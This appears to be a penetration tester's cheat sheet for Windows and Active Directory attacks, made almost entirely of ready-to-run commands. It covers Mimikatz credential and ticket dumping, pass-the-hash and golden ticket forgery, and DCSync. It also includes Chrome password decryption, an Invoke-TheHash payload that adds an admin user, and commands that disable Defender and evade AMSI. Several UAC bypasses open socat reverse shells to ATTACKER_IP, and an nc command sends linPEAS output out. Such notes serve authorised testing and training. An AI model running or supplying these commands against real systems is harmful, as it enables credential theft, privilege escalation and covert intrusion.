sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

Inject Ticket:

# Inject ticket into current session
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Golden Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

# /ptt immediately injects it into memory. /id:500 makes you fake-admin.
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> /id:500 /ptt

Step 3: Launch Shell

# Launch shell (Optional, or just use current shell if /ptt was used)
misc::cmd

Credential Manager

Dump credentials stored in Windows Credential Manager:

\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

mimikatz.exe
dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Nice Commands

These will be a grab-bag of command workarounds usually for restricted systems that lack certain functionality.

Linux

# Pull out IP addresses (IPv4, IPv6, MAC) from text file
grep -hoE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b|\b([0-9a-fA-F]{1,4}:){3,}[0-9a-fA-F]{1,4}\b|\b[0-9a-fA-F]{0,4}::[0-9a-fA-F]{0,4}\b" * | sort -u

# Unzip w/ Python3
python3 -c 'import zipfile, sys; zip_ref = zipfile.ZipFile(sys.argv[1], "r"); zip_ref.extractall("."); zip_ref.close()' <ZIPFILE>

# Unzip w/ Perl
perl -e 'use Archive::Zip; my $zip = Archive::Zip->new(shift); $zip->extractTree();' <ZIPFILE>

# strings replacement
f="<FILE>" ; cat $f | tr -c '[:print:]\t\n' '[\n*]' | awk 'length > 3' | less

# string replacement
f="<FILE>" ; sed 's/[^[:print:]]/\n/g' $f | awk 'length > 3' | less

---

# Map drive
sudo apt install -y cifs-utils
sudo mkdir /mnt/<SHARE>
sudo mount -t cifs -o username=<USERNAME>,password=<PASSWORD>,domain=. //<TARGET>/<SHARE> /mnt/<SHARE>
sudo mount -t cifs -o credentials=credentialfile //<TARGET>/<SHARE> /mnt/<SHARE>
# credentialfile
username=<USERNAME>
password=<PASSWORD>
domain=.

# Search filenames
find <PATH> -name *<KEYWORD>*

# Search keyword in files
grep -rn <PATH> -ie <KEYWORD>

Windows

# Get PS Version
$PSversiontable

---

# Processes or Task List
tasklist /V | findstr <KEYWORD>

# Current User Info
whoami;hostname
whoami /priv          # Show current user's privileges
whoami /groups        # Show current user's group memberships

# List Users & Groups
net user              # List all local users
net localgroup        # List all local groups
net localgroup | findstr admin
net localgroup "<GROUP>"
net localgroup administrators  # List members of the Administrators group

# Password & Account Policy
net accounts          # (Local policy)
net accounts /domain  # (Domain policy)

# Shares
net share             # Shares by current computer
net use               # External connected shares
Get-SmbMapping        # Same but in PowerShell
Get-PSDrive -PSProvider FileSystem

# Map drive
net use <DRIVE>: \\<TARGET>\<SHARE>
net use <DRIVE>: \\<TARGET>\<SHARE> /user:<USER> <PASSWORD>

# Map drive
New-PSDrive -PSProvider "FileSystem" -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>"
$secpassword = ConvertTo-SecureString -AsPlainText -Force '<PASSWORD>'
$cred = New-Object System.Management.Automation.PSCredential '<USERNAME>', $secpassword
New-PSDrive -PSProvider "FileSystem" -Credential $cred -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>"

# Search filenames
dir /s /b <DRIVE>:\*<KEYWORD>*
Get-ChildItem -Recurse -File -Path <DRIVE>:\ -Include *<KEYWORD>*

# Search keyword in files
findstr /s /i <KEYWORD> <DRIVE>:\*.*
Get-ChildItem -Recurse -Path <DRIVE>:\ | Select-String -List "<KEYWORD>"

Change User Password via PowerView

# Authenticate as privileged user
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create NEW password of other account
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

# Set NEW password
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose
# Add User to Group
Add-DomainGroupMember -Identity '<GROUP>' -Members '<USER>' -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" | Select MemberName

Pass the Hash (PtH)

Preparation (Local Accounts)

# Enable Registry Key to PtH for non-RID-500 local admins
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Mimikatz (Interactive)

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit

Invoke-TheHash (PowerShell)

Import-Module .\Invoke-TheHash.psd1

# SMB w/ add Admin user payload
Invoke-SMBExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "net user <NEW_USER> <NEW_PASS> /add && net localgroup administrators <NEW_USER> /add" -Verbose

# WMI w/ PowerShell reverse shell payload
Invoke-WMIExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "<REV_SHELL_POWERSHELL_PAYLOAD>"

Impacket (Python)

psexec creates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host. It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.

wmiexec utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created.

# NOTE: Use forward slash for domain syntax to avoid shell escaping
# :<PASS_HASH> implies empty LM hash (LM:NT)

impacket-psexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-wmiexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-atexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-smbexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>

NetExec (Enumeration/Spraying)

# Target can also be a subnet (CIDR)
# -d . = Local Account | -d <DOMAIN> = Domain Account
# --local-auth forces local check if implied domain fails
netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth

Evil-WinRM (WinRM Shell)

# Most reliable shell if ports 5985/5986 are open
evil-winrm -i <TARGET> -u <USER> -H <PASS_HASH>

RDP (Restricted Admin Mode)

#Enable Restricted Admin on Target (Requires Admin rights)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Now RDP with Hash
xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share

Privilege Escalation (PrivEsc)

NOTE: scripts are noisy for any sort of monitoring software, so manual checks may be preferred

🐧 Linux

🔍 linPEAS

# === ATTACKER ===
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
ip a ; python3 -m http.server 8000

# === TARGET ===
cd /tmp
wget http://<IP_ADDR>:8000/linpeas.sh
chmod +x linpeas.sh
REGEXES="0" ./linpeas.sh 2>&1 | tee linpeas_output.txt

# === KALI ===
scp <USER>@<TARGET>:/tmp/linpeas_output.txt ~/
# NC
nc -l -p <PORT> > ~/linpeas_output.txt
cat /tmp/linpeas_output.txt | nc <ATTACKER_IP> <PORT>
# wait a moment, then CTRL+C

Manual Method

dpkg -l

sudo -l

cat /etc/crontab /var/spool/cron/crontabs/root
ls -la /etc/cron.d/

ls -la /home/*/.ssh/
ls -la /root/.ssh/

🪟 Windows

for %f in ("C:\Program Files", "C:\Program Files (x86)") do @(echo. && echo --- Listing: %~f --- && dir "%~f" /b)

Priv Esc Exploits

Security Products

Windows

PowerShell

Bypass Execution Policy

# Get Current PS Execution Policy
Get-ExecutionPolicy -List

# Override
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

Version Downgrade

Version 2 is nice because it has no AMSI and Script Block Logging.

# Show Shell's current PS Version
Get-Host

# Get ALL PS Version
reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell" /s | findstr /i "Version"

# PowerShell v2 Installed?
powershell.exe -version 2 -c "$PSVersionTable.PSVersion"

Constrained Language Mode

$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage  = locked down
# FullLanguage         = no problems

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

Bypass UAC

NOTE: These works when UAC is NOT “Always Notify”

# msconfig
WIN+R > msconfig > Tools > Select "Command Prompt" > Launch

# azman.msc
Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open

# Fodhelper.exe w/ Socat
nc -nvlp <PORT>

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

whoami /groups
// success HIGH!

reg delete HKCU\Software\Classes\ms-settings\ /f
reg query %REG_KEY% /v ""

# WinDefend-Safe UAC Bypass w/ Socat
powershell.exe

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
// success!

reg delete "HKCU\Software\Classes\.update\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

# "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe)
nc -lvnp <PORT>
           
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f
schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
// success!

reg delete "HKCU\Environment" /v "windir" /f

# Auto-Bypass (up-to-date)
# https://github.com/hfiref0x/UACME

C:\tools\UACME-Akagi64.exe 33

AppLocker

Built-in application whitelister. Commonly cmd.exe and powershell.exe will be blocked, but PowerShell lives in multiple locations:

# Get Rules
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Local Administrator Password Solution (LAPS)

If using BloodHound check for ReadLAPSPassword in graph.

# Enumerate who can read LAPS
nxc smb <DC_IP> -u <USER> -p <PASS> --laps

# Dump the passwords (if able)
nxc smb <TARGET> -u <USER> -p <PASS> --laps

---

# OUT OF DATE
# https://github.com/leoloobeek/LAPSToolkit

wget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1

Import-Module LAPSToolkit.ps1

# Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OU
Find-LAPSDelegatedGroups
# Scans Computer Objects for who has "All Extended Rights" and read passwords
Find-AdmPwdExtendedRights
# Enum computers with LAPS extension and attempts password dump
Get-LAPSComputers